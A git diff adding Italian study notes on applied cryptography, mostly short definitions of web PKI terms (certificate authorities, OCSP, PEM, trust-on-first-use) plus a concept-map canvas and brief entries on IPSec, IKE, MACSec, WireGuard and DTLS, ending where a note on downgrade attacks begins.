diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/intermediate certification authority.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/intermediate certification authority.md
new file mode 100644
index 0000000..81abf10
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/intermediate certification authority.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["intermediate CA", "intermediate certificate authority"]
+---
+
+In ambito di [[certificato web|certificati web]], [[certification authority]] la cui chiave pubblica è stata firmata da una [[root certification authority]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/issuer.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/issuer.md
new file mode 100644
index 0000000..1f5a3ae
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/issuer.md	
@@ -0,0 +1 @@
+Campo che denota la [[certification authority]] che ha rilasciato un dato [[certificato web]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol stapling.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol stapling.md
new file mode 100644
index 0000000..4a5e7a5
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol stapling.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["OCSP stapling", "stapling"]
+---
+
+[[procedura]] in cui un server [[HTTPS]] effettua anticipatamente una richiesta [[online certificate status protocol|OCSP]] e ne allega il [[risultato]] alla risposta restituita al [[browser web]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol.md
new file mode 100644
index 0000000..ce84d4b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["OCSP"]
+---
+
+[[Interfaccia]] [[HTTP]] per l'accesso alle [[certificate revocation list]] di una [[certification authority]].
+
+Il client invia il [[certificato web]] nella richiesta, e il server controlla se esso è presente nella [[certificato web]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/out-of-band verification.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/out-of-band verification.md
new file mode 100644
index 0000000..864e196
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/out-of-band verification.md	
@@ -0,0 +1 @@
+"[[soluzione]]" al problema di [[distribuzione chiavi pubbliche]] in cui si utilizza un canale sicuro stabilito in precedenza per [[autenticità|autenticare]] le nuove [[chiave pubblica|chiavi pubbliche]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/periodo di validità.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/periodo di validità.md
new file mode 100644
index 0000000..da2e24b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/periodo di validità.md	
@@ -0,0 +1,3 @@
+[[Intervallo temporale]] in cui un [[attestato]] può essere considerato valido.
+
+Al di fuori di esso, l'[[attestato]] deve essere rifiutato.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/privacy enhanced mail.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/privacy enhanced mail.md
new file mode 100644
index 0000000..b7e6870
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/privacy enhanced mail.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["PEM"]
+---
+[[Formato]] utilizzato per [[serializzazione|serializzare]] [[materiale crittografico]], spesso un [[certificato web]].
+
+Codifica in [[Base64]] le [[distinguished encoding rules]], aggiungendoci tag che descrivono il contenuto codificato.
+
+```pem
+----- BEGIN something -----
+qwertyuiop=
+----- END something -----
+```
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/public key infrastructure.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/public key infrastructure.md
new file mode 100644
index 0000000..f0c9c51
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/public key infrastructure.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["PKI"]
+---
+
+Approccio [[centralizzazione|centralizzato]] alla [[delegated verification]].
+
+[[Albero]] delle relazioni di [[fiducia]] tra alcuni [[user agent]], la cui [[trust anchor]] è detta [[certification authority]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/revoca certificato web.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/revoca certificato web.md
new file mode 100644
index 0000000..112a6cd
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/revoca certificato web.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["web certificate revocation"]
+---
+
+[[Procedura]] attraverso la quale un [[certificato web]] può essere [[invalidazione|invalidato]] prima del termine del suo [[periodo di validità]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/root certification authority.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/root certification authority.md
new file mode 100644
index 0000000..0c44143
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/root certification authority.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["root CA", "root certificate authority"]
+---
+
+In ambito di [[certificato web|certificati web]], [[certification authority]] la cui chiave pubblica è inclusa direttamente nel [[browser web]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/scope.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/scope.md
new file mode 100644
index 0000000..e9fecd6
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/scope.md	
@@ -0,0 +1 @@
+[[claim]] che denota le [[autorizzazione di utente|autorizzazioni]] concesse all'[[entità]] proprietaria dell'attestato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/self-signed certificate.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/self-signed certificate.md
new file mode 100644
index 0000000..c7d8a5b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/self-signed certificate.md	
@@ -0,0 +1,3 @@
+[[certificato web]] la cui [[entità]] certificata è anche la [[certification authority]].
+
+Spesso utilizzato per servizi privati effettuando [[trust-on-first-use]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/stale attack.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/stale attack.md
new file mode 100644
index 0000000..bbc524e
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/stale attack.md	
@@ -0,0 +1,5 @@
+[[attacco]] in cui l'[[avversario]] fa in modo che i suoi bersagli ricevano dati non aggiornati, in modo simile a un [[replay attack]].
+
+## Mitigazione
+
+Il rischio è notevolmente ridotto accettando solo dati più recenti possibili.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/tipo di certificato web.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/tipo di certificato web.md
new file mode 100644
index 0000000..2836e39
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/tipo di certificato web.md	
@@ -0,0 +1 @@
+Descrizione di *cosa* il [[certificato web]] certifica.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/token.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/token.md
new file mode 100644
index 0000000..43e309b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/token.md	
@@ -0,0 +1 @@
+[[attestato]] utilizzato per [[autenticazione di identità]] a livello di applicazione.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust anchor.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust anchor.md
new file mode 100644
index 0000000..e31b7bb
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust anchor.md	
@@ -0,0 +1,3 @@
+[[chiave pubblica]] che si assume sempre autenticata, e che può firmarne altre.
+
+In molti casi, le *trust anchor* sono fornite dalla [[distribuzione del sistema operativo]] o dal distributore del [[browser web]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust-on-first-use.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust-on-first-use.md
new file mode 100644
index 0000000..5331ba7
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust-on-first-use.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["TOFU"]
+---
+
+[[soluzione]] al problema di [[distribuzione chiavi pubbliche]] in cui si considera sempre [[autenticità|autenticato]] il primo [[scambio di chiave]] effettuato con un altro [[user agent]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/★ mappa concettuale.canvas b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/★ mappa concettuale.canvas
new file mode 100644
index 0000000..9d544d1
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/★ mappa concettuale.canvas	
@@ -0,0 +1,96 @@
+{
+	"nodes":[
+		{"id":"8bd3a707dc76f8f4","x":1060,"y":-3020,"width":2680,"height":3800,"color":"6","type":"group","label":"Web public key infrastructure"},
+		{"id":"748d8aa8069f8eb4","x":-2980,"y":-1420,"width":2120,"height":1700,"color":"6","type":"group","label":"X.509"},
+		{"id":"c43a239ba4f7f136","x":-2980,"y":-2060,"width":2120,"height":520,"color":"6","type":"group","label":"JWT"},
+		{"id":"01d5b6b285900298","x":3780,"y":-2740,"width":440,"height":1000,"color":"1","type":"group","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distribuzione chiavi pubbliche.md","id":"6f83b9f349523421","x":-160,"y":-200,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust-on-first-use.md","id":"6195df8fe8707786","x":400,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/out-of-band verification.md","id":"f856f35c37f179ab","x":400,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/delegated verification.md","id":"006d8e99b70a791e","x":400,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md","id":"24abec066daa6796","x":400,"y":920,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/fiducia transitiva.md","id":"b18d32249e31d2f5","x":-200,"y":920,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/attestato.md","id":"8deb361fa5a81e41","x":-720,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/claim.md","id":"3d4bf874d93b4c8d","x":-720,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/scope.md","id":"b35c8c13b63f54f0","x":-1280,"y":360,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/audience.md","id":"e74f406a75831ff1","x":-1280,"y":640,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md","id":"e4a8850ac129cbd1","x":-1280,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/periodo di validità.md","id":"246c044b1da01fd7","x":-720,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/issuer.md","id":"6f267d4c0bb96f48","x":-1840,"y":-260,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS12.md","subpath":"#PKCS 12","id":"0e746e863c2f2f6d","x":-1840,"y":-1080,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS7 Cryptographic message syntax.md","subpath":"#PKCS 7 Cryptographic message syntax","id":"c4522346e5b2864c","x":-1840,"y":-1400,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/token.md","id":"345497e21671aaef","x":-1280,"y":-1720,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/JOSE.md","id":"d1475ba3af30895a","x":-1840,"y":-1720,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/privacy enhanced mail.md","id":"89c6fbedce86545a","x":-2960,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished encoding rules.md","id":"88e68593357a4a4c","x":-2400,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/abstract syntax notation one.md","id":"cb12955b83d3f594","x":-1840,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/COSE.md","id":"f3c440f6ef0fd699","x":-1840,"y":-2040,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certification authority.md","id":"e6af996ccc1eae1d","x":1640,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/root certification authority.md","id":"b6a01032ec5d79cf","x":2200,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/intermediate certification authority.md","id":"210762ceecfa3f7c","x":2760,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md","id":"0b3a20c56a83bcd3","x":3320,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/creazione di un certificato web.md","id":"163caf4479daf887","x":1080,"y":-1320,"width":680,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/revoca certificato web.md","id":"c0367517070b333b","x":1920,"y":-1320,"width":680,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate revocation list.md","id":"98a817339080ee92","x":2060,"y":-1880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate sign request.md","id":"bda73f5a092288a0","x":1220,"y":-1880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol.md","id":"156ce053128452f0","x":2060,"y":-2440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol stapling.md","id":"3f9b65da6f9aeff9","x":2060,"y":-3000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/tipo di certificato web.md","id":"4ab9980278a64015","x":-1840,"y":-60,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished name.md","id":"7121da691b4d226e","x":-1840,"y":140,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/domain validation.md","id":"0bca8f1b35c34214","x":-2400,"y":-260,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/extended validation.md","id":"ae49e2f5b80ebc01","x":-2400,"y":60,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/self-signed certificate.md","id":"ad3a078882fa3c37","x":1080,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate transparency.md","id":"1c239b83e886bbcb","x":2200,"y":-200,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust anchor.md","id":"ef338cf2276a8e8b","x":1640,"y":920,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md","id":"a7cab159ab44637e","x":1640,"y":1480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/public key infrastructure.md","id":"6dbd44a34fde3109","x":1640,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/denial-of-service attack.md","id":"7639d32d623c1cd9","x":3800,"y":-2720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/stale attack.md","id":"1b40a5b865a3c4b0","x":3800,"y":-2160,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"bcad70bafde52b63","fromNode":"6f83b9f349523421","fromSide":"right","toNode":"6195df8fe8707786","toSide":"left","toEnd":"none"},
+		{"id":"79ac0f6f4ae474db","fromNode":"6f83b9f349523421","fromSide":"right","toNode":"f856f35c37f179ab","toSide":"left","toEnd":"none"},
+		{"id":"4dce11e6286de3b7","fromNode":"6f83b9f349523421","fromSide":"right","toNode":"006d8e99b70a791e","toSide":"left","toEnd":"none"},
+		{"id":"8e056bc109126198","fromNode":"006d8e99b70a791e","fromSide":"bottom","toNode":"24abec066daa6796","toSide":"top","toEnd":"none"},
+		{"id":"5eae5d5e496a5110","fromNode":"24abec066daa6796","fromSide":"left","toNode":"b18d32249e31d2f5","toSide":"right","toEnd":"none"},
+		{"id":"e8412b4be15c6458","fromNode":"006d8e99b70a791e","fromSide":"right","toNode":"a7cab159ab44637e","toSide":"left","toEnd":"none"},
+		{"id":"db5d2fb1aabe0e2a","fromNode":"006d8e99b70a791e","fromSide":"right","toNode":"6dbd44a34fde3109","toSide":"left","toEnd":"none"},
+		{"id":"fa06f8d2c09385b3","fromNode":"6dbd44a34fde3109","fromSide":"bottom","toNode":"ef338cf2276a8e8b","toSide":"top","toEnd":"none"},
+		{"id":"3eabc3449623bc2a","fromNode":"a7cab159ab44637e","fromSide":"top","toNode":"ef338cf2276a8e8b","toSide":"bottom","toEnd":"none"},
+		{"id":"4e3954c0b9f6ac54","fromNode":"6f83b9f349523421","fromSide":"left","toNode":"8deb361fa5a81e41","toSide":"right","toEnd":"none"},
+		{"id":"606d9e378ac000ab","fromNode":"3d4bf874d93b4c8d","fromSide":"left","toNode":"b35c8c13b63f54f0","toSide":"right","toEnd":"none"},
+		{"id":"3f464d70da11c6da","fromNode":"3d4bf874d93b4c8d","fromSide":"left","toNode":"e74f406a75831ff1","toSide":"right","toEnd":"none"},
+		{"id":"9c4f3cf7d02cd92b","fromNode":"8deb361fa5a81e41","fromSide":"bottom","toNode":"3d4bf874d93b4c8d","toSide":"top","toEnd":"none"},
+		{"id":"269c2c2ff0d7ea89","fromNode":"8deb361fa5a81e41","fromSide":"left","toNode":"e4a8850ac129cbd1","toSide":"right","toEnd":"none"},
+		{"id":"4f9f414bb5c70d9f","fromNode":"8deb361fa5a81e41","fromSide":"left","toNode":"345497e21671aaef","toSide":"right","toEnd":"none"},
+		{"id":"0fdf6d54cfb33d72","fromNode":"8deb361fa5a81e41","fromSide":"top","toNode":"246c044b1da01fd7","toSide":"bottom","toEnd":"none"},
+		{"id":"388814fe5a14b763","fromNode":"cb12955b83d3f594","fromSide":"left","toNode":"88e68593357a4a4c","toSide":"right","toEnd":"none"},
+		{"id":"b1edf2d9ff57dbd2","fromNode":"88e68593357a4a4c","fromSide":"left","toNode":"89c6fbedce86545a","toSide":"right","toEnd":"none"},
+		{"id":"0a5822ebe84dfbeb","fromNode":"345497e21671aaef","fromSide":"left","toNode":"d1475ba3af30895a","toSide":"right","toEnd":"none"},
+		{"id":"440391706beda879","fromNode":"e4a8850ac129cbd1","fromSide":"top","toNode":"cb12955b83d3f594","toSide":"right","toEnd":"none"},
+		{"id":"6d58ebdad2add5a9","fromNode":"e4a8850ac129cbd1","fromSide":"top","toNode":"0e746e863c2f2f6d","toSide":"right","toEnd":"none"},
+		{"id":"1f7b4f0082950dcd","fromNode":"e4a8850ac129cbd1","fromSide":"top","toNode":"c4522346e5b2864c","toSide":"right","toEnd":"none"},
+		{"id":"8a3e8e03348a9970","fromNode":"345497e21671aaef","fromSide":"left","toNode":"f3c440f6ef0fd699","toSide":"right","toEnd":"none"},
+		{"id":"4e38f2d6edea4921","fromNode":"e4a8850ac129cbd1","fromSide":"left","toNode":"7121da691b4d226e","toSide":"right","toEnd":"none"},
+		{"id":"4808718943b121f6","fromNode":"e4a8850ac129cbd1","fromSide":"left","toNode":"6f267d4c0bb96f48","toSide":"right","toEnd":"none"},
+		{"id":"d16cce7be0b420c1","fromNode":"6dbd44a34fde3109","fromSide":"top","toNode":"e6af996ccc1eae1d","toSide":"bottom","toEnd":"none"},
+		{"id":"260fe01175eda146","fromNode":"e6af996ccc1eae1d","fromSide":"right","toNode":"b6a01032ec5d79cf","toSide":"left","toEnd":"none"},
+		{"id":"777d641c4b5eb31b","fromNode":"b6a01032ec5d79cf","fromSide":"right","toNode":"210762ceecfa3f7c","toSide":"left","toEnd":"none"},
+		{"id":"105e269f2a5f1bc4","fromNode":"210762ceecfa3f7c","fromSide":"right","toNode":"0b3a20c56a83bcd3","toSide":"left","toEnd":"none"},
+		{"id":"fa3323d8a80d4ea3","fromNode":"e6af996ccc1eae1d","fromSide":"top","toNode":"163caf4479daf887","toSide":"bottom","toEnd":"none"},
+		{"id":"57e3712c25c8fa0f","fromNode":"e6af996ccc1eae1d","fromSide":"top","toNode":"c0367517070b333b","toSide":"bottom","toEnd":"none"},
+		{"id":"ec95786276b24e71","fromNode":"163caf4479daf887","fromSide":"top","toNode":"bda73f5a092288a0","toSide":"bottom","toEnd":"none"},
+		{"id":"0892e43552b5c964","fromNode":"c0367517070b333b","fromSide":"top","toNode":"98a817339080ee92","toSide":"bottom","toEnd":"none"},
+		{"id":"5ead608be1fb62ff","fromNode":"98a817339080ee92","fromSide":"top","toNode":"156ce053128452f0","toSide":"bottom","toEnd":"none"},
+		{"id":"3857cf27ae57aa00","fromNode":"156ce053128452f0","fromSide":"top","toNode":"3f9b65da6f9aeff9","toSide":"bottom","toEnd":"none"},
+		{"id":"cf251b379cc7ff9d","fromNode":"156ce053128452f0","fromSide":"right","toNode":"7639d32d623c1cd9","toSide":"left","toEnd":"none"},
+		{"id":"9a9ef5695ccdbd8a","fromNode":"156ce053128452f0","fromSide":"right","toNode":"1b40a5b865a3c4b0","toSide":"left","toEnd":"none"},
+		{"id":"8ab9a318b8e2e97c","fromNode":"e4a8850ac129cbd1","fromSide":"left","toNode":"4ab9980278a64015","toSide":"right","toEnd":"none"},
+		{"id":"dee18b9776757924","fromNode":"4ab9980278a64015","fromSide":"left","toNode":"ae49e2f5b80ebc01","toSide":"right","toEnd":"none"},
+		{"id":"563b4c1231c27d05","fromNode":"4ab9980278a64015","fromSide":"left","toNode":"0bca8f1b35c34214","toSide":"right","toEnd":"none"},
+		{"id":"354045e76379b09a","fromNode":"e6af996ccc1eae1d","fromSide":"left","toNode":"ad3a078882fa3c37","toSide":"right"},
+		{"id":"2600e05b09870065","fromNode":"ad3a078882fa3c37","fromSide":"left","toNode":"6195df8fe8707786","toSide":"right"},
+		{"id":"e4d79ef697ff636c","fromNode":"e6af996ccc1eae1d","fromSide":"right","toNode":"1c239b83e886bbcb","toSide":"left","toEnd":"none"},
+		{"id":"1e6415826d1756d0","fromNode":"6dbd44a34fde3109","fromSide":"right","toNode":"1c239b83e886bbcb","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/IPSec.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/IPSec.md
new file mode 100644
index 0000000..da2e94a
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/IPSec.md	
@@ -0,0 +1,4 @@
+Estensione di [[IP]] che garantisce [[confidenzialità]] e [[autenticità]] dei pacchetti che transitano:
+
+- ***transport mode***: tra due host, incapsulando il payload del pacchetto
+- ***tunnel mode***: tra due reti, incapsulando l'intero pacchetto
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Internet Key Exchange.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Internet Key Exchange.md
new file mode 100644
index 0000000..eae1383
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Internet Key Exchange.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["security association"]
+---
+
+[[Protocollo]] di [[scambio di chiave autenticato]] (chiamato dallo stesso *security association*) usato per scambiare una [[chiave simmetrica]] da usare in [[IPSec]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/MACSec.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/MACSec.md
new file mode 100644
index 0000000..c1a471e
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/MACSec.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["IEEE 802.1AE"]
+---
+
+Estensione di [[Ethernet]] che garantisce [[autenticità]] e opzionalmente [[confidenzialità]] dei pacchetti che transitano nella rete.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Wireguard.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Wireguard.md
new file mode 100644
index 0000000..d0a9ccf
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Wireguard.md	
@@ -0,0 +1 @@
+[[Protocollo]] sicuro per [[VPN]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/coppia di chiavi effimere.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/coppia di chiavi effimere.md
new file mode 100644
index 0000000..72ff84a
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/coppia di chiavi effimere.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ephemeral keypair"]
+---
+
+[[coppia di chiavi]] utilizzata per garantire [[confidenzialità]] con [[forward secrecy]] in [[TLS]] e [[DTLS]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/datagram transport level security.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/datagram transport level security.md
new file mode 100644
index 0000000..715bee4
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/datagram transport level security.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["DTLS"]
+---
+
+[[Protocollo]] [[application-level]] che si appoggia su [[UDP]] per fornire comunicazioni sicure.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/downgrade attack.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/downgrade attack.md
new file mode 100644
index 0000000..bf0ce4f
--- /dev/null
